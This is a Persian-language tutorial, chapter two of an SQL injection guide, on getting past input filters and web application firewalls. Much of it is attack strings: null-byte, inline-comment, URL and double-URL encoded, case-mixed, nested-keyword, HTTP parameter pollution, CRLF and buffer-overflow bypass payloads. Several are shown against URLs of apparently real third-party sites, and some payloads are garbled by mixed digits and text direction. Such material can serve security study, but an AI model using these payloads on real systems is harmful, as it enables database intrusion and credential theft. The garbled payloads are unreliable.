Sql Injection

مرجع کامل آموزش SQL Injection – فصل ۲

تکنیک های پیشرفته برای شکست دادن مکانیسم های اعتبار سنجی ورودی – SQL injection یا تزریق Sql

در تکنیک های پیشرفته آموزش SQL Injection یا تزریق sql برنامه های کاربردی وب از نظر فنی پیچیده تر می شوند.

برنامه های کاربردی وب ، از فن آوری های مختلف در زیرساخت های پشتیبانی و محیطی استفاده می کنند و می توانند مقدار قابل توجهی از کدهای اصلاح شده و سفارشی داشته باشند. در دسترس بودن این سیستم ها و همچنین حساسیت اطلاعاتی که ذخیره و پردازش می کنند ،  تقریبا به تمام کسب و کارهای بزرگ آنلاین بستگی دارد.

از آنجایی که بازار تکنولوژی های امنیتی شبکه رشد قابل توجهی داشته است ، هکرها فرآیند های نفوذ به سیستم های اطلاعاتی از طریق آسیب پذیری های مبتنی بر شبکه را کنار گذاشته اند و فوکوس خود را بیشتر به تلاش برای سازش وتعامل با برنامه های وب تبدیل کرده اند .

تزریق SQL یک حمله است که در آن کد SQL وارد شده به پارامترهای ورودی کاربر افزوده می شود که بعدها به سرور SQL back-end برای تجزیه و اجرا منتقل می شود 

در این بین من بر روی حمله نوع اول ” “First Order Attack تزریق SQL تمرکز می کنم .

توجه داشته باشید :

هکرها از زمانبندی و یا سایر شاخص های عملکرد برای به دست آوردن موفقیت از نتایج یک حمله استفاده می کنند.

راه های بسیاری برای سوء استفاده از آسیب پذیری های تزریق SQL وجود دارد، موفقیت حمله بسیار وابسته به پایگاه داده و سیستم عامل های میزبانی آن است که تحت حمله هستند. (پایگاه داده در سیستم لینوکس یا ویندوز میزبان).

این ممکن است مهارتها و استقامت زیادی را برای بهره برداری از یک آسیب پذیری با پتانسیل کامل آن به ارمغان بیاورد.

در این بین ما تکنیک های پیشرفته ای را که می توان برای کاهش حملات تزریق SQL و برطرف کردن مشکلاتی که ممکن است با آن مواجه شوید را مورد بررسی قرار می دهیم .

ما در مورد روش هایی برای جلوگیری از مکانیزم های اعتبار سنجی ورودی بحث خواهیم کرد و به راه های مختلفی می پردازیم که می توان از فرآیند دفاع که شامل فایروال های برنامه وب (WAF) یا سیستم های پیشگیری از نفوذ (IPS ها) است نام برد .

برنامه های وب اغلب از فیلترهای ورودی استفاده می کنند که برای دفاع در برابر حملات معمول مانند XSS ، تزریق کد ، CSRF ، و همپنین تزریق SQL طراحی شده اند.

این فیلترها ممکن است درون کد برنامه کاربردی خود، در قالب اعتبار ورودی سفارشی، یا در خارج از برنامه به صورت فایروال های برنامه وب (WAF) یا سیستم های پیشگیری از نفوذ (IPS ها) یا سیستم های تشخیص نفوذ (IDS ها) اجرا شوند .

در زمینه حملات تزریق SQL، فیلترهای جالبی وجود دارند تا کسانی که تلاش می کنند هر ورودی که حاوی یک یا چند مورد زیر باشد ، آنها را مسدود کنند .

کلمات کلیدی SQL :

مانند

.SELECT’, ‘INSERT’, ‘FROM’, ‘UPDATE’, ‘WHERE’, ‘ALTER’, ‘SELECT’, ‘SHUTDOWN’, ‘CREATE’, ‘DROP’, ‘DELETE FROM’ and so on‘

خصوصیات خاص مانند علامت نقل قول (‘) یا کاراکتر (-)

فضای سفید  – Whitespace :

می توان در سراسر پرس و جوها فیلترهایی را قرار داد تا به جای مسدود کردن ورودی های حاوی موارد لیست بالا، کد برنامه تلاش کند ورودی را تغییر داده و آن را ایمن سازد  یا از طریق رمزگذاری یا با حذف کردن (dropping) ، موارد مجاز ورودی پردازش شود .

اما اغلب موارد کد برنامه ای که از این فیلتر ها محافظت می کند به تزریق SQL آسیب پذیر است بنابراین باید از ابزار فیلتر کردن استفاده کنید . 

به بخش اصلی پژوهش های ما در SQL injection خوش آمدید . ما برخی از تکنیک های مورد استفاده را برای انجام SQL injection بررسی خواهیم کرد .

بایت های Null :

اغلب ، فیلترهای ورودی را باید برای جلوگیری از آسیب پذیری تزریق SQL به جای استفاده از کد برنامه ، در IDS ها یا IPS ها یا WAF ها استفاده کنید . برای انجام یک حمله null byte ، فقط باید یک بایت صفر کد شده (URL (٪ ۰۰ را قبل از هر کاراکتری که فیلتر را مسدود می کند ارائه کنید.

فرض کنید ما می خواهیم یک حمله UNION را به صورت زیر تزریق کنیم :

– -‘UNION SELECT password FROM Users WHERE username=’admin

با استفاده از مثال بالا ، ممکن است قادر به دور زدن فیلترهای ورودی با استفاده از یک رشته حمله باشید :

 – -’۰۰UNION SELECT password FROM Users WHERE username=’admin% 

کامنت های SQL – SQL Comments

می توانید توالی های خطی درونی برای ایجاد قطعه های SQL  به کار ببرید که به صورت syntactically غیر عادی اما کاملا معتبر می باشند  و از طریق انواع فیلترهای ورودی که قابل دور زدن می باشد را استفاده کنید . در این روش می توانید از فیلترهای تطبیقی و الگوی ساده استفاده کنید.

مثلا :

فرض کنید که برنامه مورد نظر و سیستم های محافظ آن فضاهای سفید (whitespaces) و علامت تساوی را فیلتر می کنند (=).

شما می توانید به راحتی این فیلتر ها را با استفاده از inline comments کنار بگذارید تا هر کلمه کلیدی را بدون نیاز به فضای خالی جدا کنید .

مثلا :

–UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/username/**/ LIKE/**/’admin’/**/’

بسیاری از توسعه دهندگان وب به اشتباه معتقدند که جلوگیری از حملات تزریق SQL یا SQL injection محدود کردن ورودی ها می باشد اما لازم به ذکر است که inline comment ها ، مهاجم را قادر می سازد بدون نیاز به هیچ فضایی، SQL دلخواه را کامپایل کنند .

یک نفوذگر در MySQL ، می تواند از inline comments در کلمات کلیدی SQL استفاده کند، و بسیاری از فیلترهای کلمات کلیدی و  مسدود شده را حذف کند . که این کار باعث SQL injection می شود

مثلا:

اگر پایگاه داده back-end MySQL باشد، رشته حمله فوق می تواند دوباره به صورت زیر نوشته شود :

-UN/**/ION/**/SEL/**/ECT/**/password/**/FR/**/OM/**/Users/**/WHE/**/RE/**/ username/**/LIKE/**/’admin‘/**/’

رمزگذاری URL

کدگذاری URL یک تکنولوژی متنوع است که می توان در آن از بسیاری از انواع فیلترهای ورودی استفاده کرد . ابتدایی ترین فرم شامل جایگزینی کاراکترهای مشکل دار با کدهای ASCII خود در شکل هگزادسیمال است که پیش از کاراکتر % قرار دارد.

به عنوان مثال، کد ASCII برای کاراکتر ‘ شامل یک عبارت ۲۷ × ۰ است ،  بنابراین URLرمزگذاری شده توسط آن۲۷٪ است .

یک آسیب پذیری در سال ۲۰۰۷ در برنامه PHP-Nuke کشف شد که  یک فیلتر را در اختیار داشت که هر دو فضای فضای خالی و ادامه inline comment / * را مسدود کرد اما موفق به ادامه رمزنگاری URL از ادامه کامنت نشد .

در این موقعیت، می توانید از یک حمله مانند نمونه زیر برای جلوگیری از فیلتر استفاده کنید :

‘%۲f%2a*/UNION%2f%2a*/SELECT%2f%2a*/password%2f%2a*/FROM%2f%2a*/Users%2f%2a*/WHERE%2f%2

–‘a*/username%2f%2a*/LIKE%2f%2a*/’admin

توجه داشته باشید :

 URL-encoded to %2f/

URL-encoded to %2a*

گاهی اوقات در این نوع حمله SQL injection ، اسکریپت اولیه URL ممکن است کار نکند ، با این وجود می توانید فیلتر را با رمزگذاری دوبارۀ URL توسط کارکترهای مسدود شده دور بزنید (در این مورد /*).

در حمله انجام شده ، کاراکتر ٪ در حمله اولیه خودش به صورت عادی (به عنوان٪ ۲۵) با URL رمزگذاری شده می باشد به طوری که فرم دوگانه URL با یک علامت نقل قول ٪ ۲۵۲۷ است. اگر رشته حمله فوق را برای استفاده از رمزگذاری دوبرابر تغییر دهید، احتمالا مانند عبارت زیر خواهد شد :

‘%۲۵۲f%252a*/UNION%252f%252a*/SELECT%252f%252a*/password%252f%252a*/FROM%252f%252a*/Users”

–‘%۲۵۲f%252a*/WHERE%252f%252a*/username%252f%252a*/ LIKE%252f%252a*/’admin

پس از کدگذاری دو URL، URL برنامه  ورودی را به عنوان UNION/ ** / ‘ به تصویر می کشد …

و این ورودی را در یک SQL query پردازش می کند به طوری که حمله موفقیت آمیز خواهد بود. روش دیگر در رمزگذاری  URL، استفاده از رمزگذاری یونیکد از کاراکترهای مسدود شده است . همچنین با استفاده از کاراکتر٪ با یک کد ASCII هگزادسیمال دو رقمی، رمزگذاری URL میتواندUnicode های مختلف از کاراکترها را استفاده کند .

به دلیل پیچیدگی مشخصات یونیکد ، رمزگشاها اغلب رمزگذاری های غیر قانونی را به سختی انجام می دهند و آنها را بر اساس “نزدیکترین روش مناسب” رمزگشایی می کنند . اگر اعتبار ورودی برنامه برای برخی از رشته های دارای الگوریتم و یونیکد، بررسی شود ، ممکن است رمزگذاری های غیر قانونی کاراکترهای مسدود شده را که توسط فیلتر ورودی پذیرفته می شود را ارائه دهد به طوری که برای ارائه یک حمله موفق رمزگشایی مناسب باشد .

کاراکتر های قید شده در ادامه مطالب نشان می دهد که تعدادی از کدگذاری های Unicode استاندارد و غیر استاندارد از ‘ و * ها برای حملات تزریق SQL یا SQL injection مفید هستند.

تغییر موارد

بعضی از WAF ها دارای هیچ قاعده ای یا امضا برای شناسایی موارد فوق نیستند. در اینجا چند نمونه را مشاهده می کنید .

uNiOn aLl sElEcT

UnIoN aLL SELECT

می توانید statement های بزرگ را با کامنت ها برای نتایج بهتر ترکیب کنید:

 —www.site.com/a.php?id=123 uNiOn All sEleCt/*We are bypassing the WAF*/select/**/1,2,3,4,5

رمزگذاری به Hex Forbidden :

ما این کار را با عملکرد [/۲A%2A%/] و  [۲F**%2F%] انجام می دهیم

    —    http://site.org.uk/News/view.php?id=-26/%2A%2A/union/%2A%2A/select/%2A%2A/1,2,3,4,5

 —   http://site.org.uk/News/view.php?id=-26%2F**%2Funion%2F**%2Fselect%2F**%2F1,2,3,4,5

روش جایگزینی کلمات کلیدی در SQL injection

راهی برای اجرای بردار به جای جایگزینی کلمات کلیدی وجود دارد.

حالا ما چطور این کار را انجام می دهیم ، برای این کار اجماع کننده فیلترهای waf را انتخاب می کنیم

به نمونه قید شده در زیر دقت کنید :

+UnIoN+SeLselectECT+

فیلتر کردن WAF خارج از اعمال union  و select . مانند (orange words) 

هنگامی که آن کلمات کلیدی را فیلتر می کند ، UNI و ON – SEL و ECT یک کلمه را دوباره تشکیل می دهند. برخی از فیلترها نمیتوانند آن را ۲ بار جایگزین کنند.

مثال در : URL

–http://www.site.com/artigos-de-baralho-cigano.php id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9

دور زدن WAF – استفاده از کاراکتر ها

مجموعه زیادی از کاراکتر های موجود وجود دارد که ما می توانیم برای دور زدن فیلترهای WAF استفاده کنیم. کاراکترهای زیر می توانند این کار را انجام دهند:

|, ?, “, ‘, *, %, £ , [], ;, :, \/, $, €, ()…

استفاده از این کاراکترها ( / *! * / ) در موارد زیادی فیلتر نشده است بنابراین علامت * جایگزین یک space و

 union – select فیلتر می شود. این به این معنی است که جایگزین کردن کلمات کلیدی کار نمی کند .

در این موارد ما می توانیم به سادگی از کاراکتر * برای تقسیم کلمات کلیدی استفاده کنیم.

 -+–www.[site].com/index.php?id=-1+uni*on+sel*ect+1,2,3,4

آلودگی پارامتر (HTTP (HPP

آلودگی پارامتر (HTTP (HTP یک تکنیک حمله به وب است که اجازه می دهد حمله کننده یک درخواست HTTP را برای دستکاری یا بازیابی اطلاعات پنهان ایجاد کند . این تکنیک فرار بر اساس تقسیم یک بردار حمله بین چند نمونه از یک پارامتر با یک نام است. از آنجایی که هیچ کدام از RFC های HTTP مربوطه تعریفی از دستکاری پارامتر HTTP را ندارند ، هر پلت فرم تحویل نرم افزار وب ممکن است با آن متفاوت باشد.

به طور خاص، برخی از محیط ها چنین درخواست هایی را با پیوند دادن مقادیر گرفته شده از همه نمونه های یک نام پارامتر در درخواست، پردازش می کنند. این رفتار توسط مهاجم مورد سوء استفاده قرار گرفته است تا از مکانیزم های امنیتی مبتنی بر الگو برداری جلوگیری کند.

در نمونه شماره [۱] دو بردار تزریق SQL یا SQL injection را می بینیم: ” Regular attack یا حمله با قاعده” و “حمله با استفاده از HPP”. حمله با قاعده یک تزریق استاندارد SQL را در پارامتر prodID نشان می دهد. این حمله می تواند به آسانی توسط یک مکانیزم شناسایی امنیتی مانند فایروال برنامه وب (WAF) شناسایی شود.

حمله دوم [نمونه شماره ۲] با استفاده از HPP بر روی پارامتر prodID است .

در این مورد ، بردار حمله در بین وقایع متعدد از پارامتر prodID توزیع شده است. با ترکیبی صحیح از محیط فناوری و سرور وب، حمله موفقیت آمیز است. برای اینکه WAF بتواند بردار حمله کامل را شناسایی و مسدود کند لازم است که ورودیهای پیوندی را نیز بررسی کنید.

نمونه شماره ۱ :

 –site.vulnweb.com/showforum.asp?id=-1 union select 1,2

 

نمونه شماره ۲ :

–site.vulnweb.com/showforum.asp?id=-1/* &id= */union/* &id= */select/* &id= */1,2

 

تکنیک HPP :

/* &c= */

/* &b= */

/* &id= */

/*&q=*/

/*&prodID=*/

/*&abc=*/

q=select

union /* and b=*/ select

/*=q=select/*&q

*/q=*/from

/*=q=select/*&q=*/name&q=password/*&q

/*=b=*/select+1,2 /?a=1+ union/*&q&

*/q=*/name q=password

id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users?

تکنیک CRLF دور زدنWAF  در SQL injection

CR LF  به معنای “Carriage Return, Line Feed”  است

از زمانی که برخی از دستگاه ها نیاز به یک Return Carriage را داشتند و برخی از دستگاه ها نیاز به یک لاین برای دریافت لاین جدید داشتند ، بنابراین مایکروسافت تصمیم گرفت فقط یک لاین جدید داشته باشد که هر دو کاراکتر را دارا باشند ، به طوری که به درستی در تمام دستگاه ها خروجی داشته باشند

برنامه های ویندوز انتظار فرمت جدید لاین خود را در ( CRLF (\ r \ n دارند . بنابراین اگر سند متنی یونیکس را در Notepad بر روی ویندوز باز کنید، متوجه خواهید شد که تمام خط ها از بین می روند و تمام سند در یک خط قرار دارد. این به این دلیل است که سند یونیکس کاراکتر ندارد.

برنامه های کاربردی وجود دارد که این را برای شما در توزیع استاندارد * nix تبدیل خواهد کرد (dos2unix و unix2dos) هنگامی که یک برنامه آسیب پذیر را پیدا کرده اید، می توانید تکنیک های مختلفی که در بالا مورد بحث قرار دادیم اعمال کنید .

تکنیک های CRLF :

 :Syntax 

%۰A%0D+Mysql Statement’s+%0A%0D

sql injection

مثالی از URL :

– –   site.org.uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5

دور زدن سرریز بافر  – Buffer Overflow bypassing در SQL injection

اکثریت waf Allowav در زبان C نوشته شده است که باعث آسیب پذیر شدن آنها می شود.

یک سرریز بافر زمانی اتفاق می افتد که یک برنامه یا فرایند تلاش می کند اطلاعات بیشتری را در یک بافر (منطقه ذخیره سازی داده های موقت) ذخیره کند  . از آنجاییکه بافر ها برای حاوی مقدار محدودی از داده ها ایجاد می شوند، اطلاعات اضافی در حال انتقال می تواند به بافر های مجاور سرازیر شود .

چه ممکن است این فرآیند به طور تصادفی از طریق خطای برنامه نویسی نیز اتفاق بیفتد ، با این حال سرریز بافر یک نوع از حملات امنیتی معمول بر روی یکپارچگی داده ها است.

در حملات سرریز بافر، داده های اضافی ممکن است شامل کدهای طراحی شده برای هدایت اقدامات خاص باشد، در واقع ارسال دستورالعمل جدید به کامپیوتر مورد حمله است که می تواند موجبات این حمله را شامل شود .

به عنوان مثال، آسیب فایل های کاربر، تغییر داده ها و یا افشای اطلاعات محرمانه.

وقتی گفته می شود که حملات سرریز بافر بوجود آمده است، به این معنی است که زبان برنامه نویسی C این چارچوب را فراهم کرده و شیوه های برنامه نویسی ضعیف آسیب پذیری فراهم شده است .

سرریز بافر در تزریق SQL یا SQL injection

(and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s+

این AAAAA بیشتر ۱۰۰۰ A است

/*and(/*!50000select*/1)=(/*!32302select+

۰xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

+( AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

مثالی از URL :

+–http://www.Example.com/music/song.php?cat=Punjabi&n==25799′ and 0 union select 1,version(),3,4,5,6,7,8,9

 

sql injection

بایپس WAF  همراه با سرریز بافر در SQL injection

http://www.punjab-dj.com/music/song.php?cat=Punjabi&n==25799’+and(/*!50000select*/1)=(/*!32302select*/0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

+–AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+ and0unionselect 1,version(),3,4,5,6,7,8,9

 

پایان فصل دوم Sql Injection یا تزریق Sql

ویکی

لینک فصل اول Sql Injection یا تزریق Sql

 

تهیه کننده : سید محمد اسماعیلی

 

 

نوشته های مرتبط

امنیت پی اچ پی PHP

۳۱

تیر
همه موضوعات

الزامات و روش های موثر در بهبود امنیت پی اچ پی (PHP)

انتشار محتوای سایت ایران سایبر فقط با ذکر منبع رسمی مجاز است  پی اچ پی php زبان برنامه نویسی سمت سرور است که می تواند برای ایجاد صفحات وب استاتیک پویاتر باشد به این معنی که می تواند عملیات منطقی در پشت سرور و نتایج بازگشت و خروجی بر روی یک صفحه را انجام دهد. هر برنامه […]

امنیت cPanel

۱۶

خرداد
همه موضوعات

امن سازی سرور Cpanel – WHM

WHM یا Web Host Manager یک برنامه قدرتمند است که اجازه دسترسی به cPanel backend را می دهد. MWH  دارای قابلیت انعطاف پذیری زیاد و کنترل آسان در مدیریت وب سایت ها می باشد. WHM نه تنها کاربر را قادر می سازد تا بتواند  سرویس های میزبانی وب را ارائه دهد بلکه امکان ایجاد و مدیریت چند حساب[…]